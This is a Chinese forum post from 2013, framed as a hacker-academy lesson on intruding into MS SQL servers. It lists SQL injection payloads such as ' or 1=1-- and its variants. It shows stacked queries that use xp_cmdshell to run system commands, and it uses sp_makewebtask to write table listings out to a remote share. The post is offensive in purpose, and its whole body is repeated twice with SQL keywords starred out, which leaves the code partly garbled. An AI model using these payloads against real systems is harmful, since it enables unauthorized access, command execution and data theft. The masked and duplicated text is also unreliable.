edit_note帖子
1,551
stars积分
20,071
event加入
2011-05-19
怀旧国机
黑客学院教您入侵SQL服务器(二)
schedule发表于 2013-04-04 02:55:00
visibility查看 173
chat_bubble回复 0
#1 楼主
3.1为什么使用的是‘ or 1=1--呢?
让我们来看看其他例子中使用‘or 1=1--的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:
http://duck/index.asp?category=food
在上面这条URL中,‘category‘是一个变量名,而‘food‘是赋予该变量的值。为了做到这些(链接成功),
这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):
v_cat = request(“category“)
sqlstr=“* * FROM product WHERE PCategory=‘“ & v_cat & “‘“
set rs=conn.*ute(sqlstr)
正如我们所看到的,变量值将会预先处理然后赋值于‘v_cat‘,也就是说该SQL语句将会变为:
* * FROM product WHERE PCategory=‘food‘
这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是‘food‘了。现在设想一下如果
我们把该URL改成这样的话:
http://duck/index.asp?category=food‘ or 1=1--
现在我们的变量v_cat的值就等同于“food‘ or 1=1--“了,现在如果我们要重新代入那条SQL请求的话,
那条SQL请求将会是:
* * FROM product WHERE PCategory=‘food‘ or1=1--‘
现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于‘food‘。至于结尾部分的那两条‘--‘(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个‘(单引号)。有的时候也可以使用‘#‘(井号)来代替‘--‘(双破折号)在这里的用法。
无论如何,如果对方不是一台SQL服务器(这里指的是MS SQL SERVER),或者你不能使用简单的方法去忽略最后的那个单引号的话,你可以尝试:
‘ or ‘a‘=‘a
这样的话整个SQL请求将会变为:
* * FROM product WHERE PCategory=‘food‘ or‘a‘=‘a‘
它也会返回相同的结果。
根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:
‘ or 1=1--
“ or 1=1--
or 1=1--
‘ or ‘a‘=‘a
“ or “a“=“a
‘) or (‘a‘=‘a
4.0如何在SQL注入请求中加入即时执行命令?
能够进行SQL注入的服务器通常都是一些疏于做系统性配置检查的机器,此时我们可以尝试使用SQL的命令执行请求。默认的MS SQL服务器是运行在SYSTEM用户级别下的,这等同于系统管理员的执行与访问权限。我们可以使用MS SQL SERVER的扩展储存过程(如*..*cmdshell等)来执行远程系统的某些命令:
‘; * *..*cmdshell ‘ping 10.10.1.2‘--
若失败可以尝试一下使用“(双引号)代替‘(单引号)。
上面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条新SQL命令)。若要检验上面这条PING命令是否成功,你可以在10.10.1.2这台机器上监听ICMP请求包,并确认它是否来自那台SQL服务器就可以了:
#tcpdump icmp
如果你不能从那台SQL服务器中得到PING请求的话,并在SQL请求的返回值中得到错误信息的话,有可能是因为该SQL服务器的管理员限制了WEB用户访问这些储存过程了。
5.0如何可以获取到我发的SQL请求的相关返回信息呢?
我们可以使用*makewebtask处理过程的相关请求写入URL:
‘; * *..*makewebtask “ \\10.10.1.3\share\output.html “, “* * FROM *RMATION
_SCHEMA.TABLES“
但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。
让我们来看看其他例子中使用‘or 1=1--的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:
http://duck/index.asp?category=food
在上面这条URL中,‘category‘是一个变量名,而‘food‘是赋予该变量的值。为了做到这些(链接成功),
这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):
v_cat = request(“category“)
sqlstr=“* * FROM product WHERE PCategory=‘“ & v_cat & “‘“
set rs=conn.*ute(sqlstr)
正如我们所看到的,变量值将会预先处理然后赋值于‘v_cat‘,也就是说该SQL语句将会变为:
* * FROM product WHERE PCategory=‘food‘
这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是‘food‘了。现在设想一下如果
我们把该URL改成这样的话:
http://duck/index.asp?category=food‘ or 1=1--
现在我们的变量v_cat的值就等同于“food‘ or 1=1--“了,现在如果我们要重新代入那条SQL请求的话,
那条SQL请求将会是:
* * FROM product WHERE PCategory=‘food‘ or1=1--‘
现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于‘food‘。至于结尾部分的那两条‘--‘(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个‘(单引号)。有的时候也可以使用‘#‘(井号)来代替‘--‘(双破折号)在这里的用法。
无论如何,如果对方不是一台SQL服务器(这里指的是MS SQL SERVER),或者你不能使用简单的方法去忽略最后的那个单引号的话,你可以尝试:
‘ or ‘a‘=‘a
这样的话整个SQL请求将会变为:
* * FROM product WHERE PCategory=‘food‘ or‘a‘=‘a‘
它也会返回相同的结果。
根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:
‘ or 1=1--
“ or 1=1--
or 1=1--
‘ or ‘a‘=‘a
“ or “a“=“a
‘) or (‘a‘=‘a
4.0如何在SQL注入请求中加入即时执行命令?
能够进行SQL注入的服务器通常都是一些疏于做系统性配置检查的机器,此时我们可以尝试使用SQL的命令执行请求。默认的MS SQL服务器是运行在SYSTEM用户级别下的,这等同于系统管理员的执行与访问权限。我们可以使用MS SQL SERVER的扩展储存过程(如*..*cmdshell等)来执行远程系统的某些命令:
‘; * *..*cmdshell ‘ping 10.10.1.2‘--
若失败可以尝试一下使用“(双引号)代替‘(单引号)。
上面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条新SQL命令)。若要检验上面这条PING命令是否成功,你可以在10.10.1.2这台机器上监听ICMP请求包,并确认它是否来自那台SQL服务器就可以了:
#tcpdump icmp
如果你不能从那台SQL服务器中得到PING请求的话,并在SQL请求的返回值中得到错误信息的话,有可能是因为该SQL服务器的管理员限制了WEB用户访问这些储存过程了。
5.0如何可以获取到我发的SQL请求的相关返回信息呢?
我们可以使用*makewebtask处理过程的相关请求写入URL:
‘; * *..*makewebtask “ \\10.10.1.3\share\output.html “, “* * FROM *RMATION
_SCHEMA.TABLES“
但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。
forum
暂无回复,快来抢沙发!
登录 后才能回复
flag举报帖子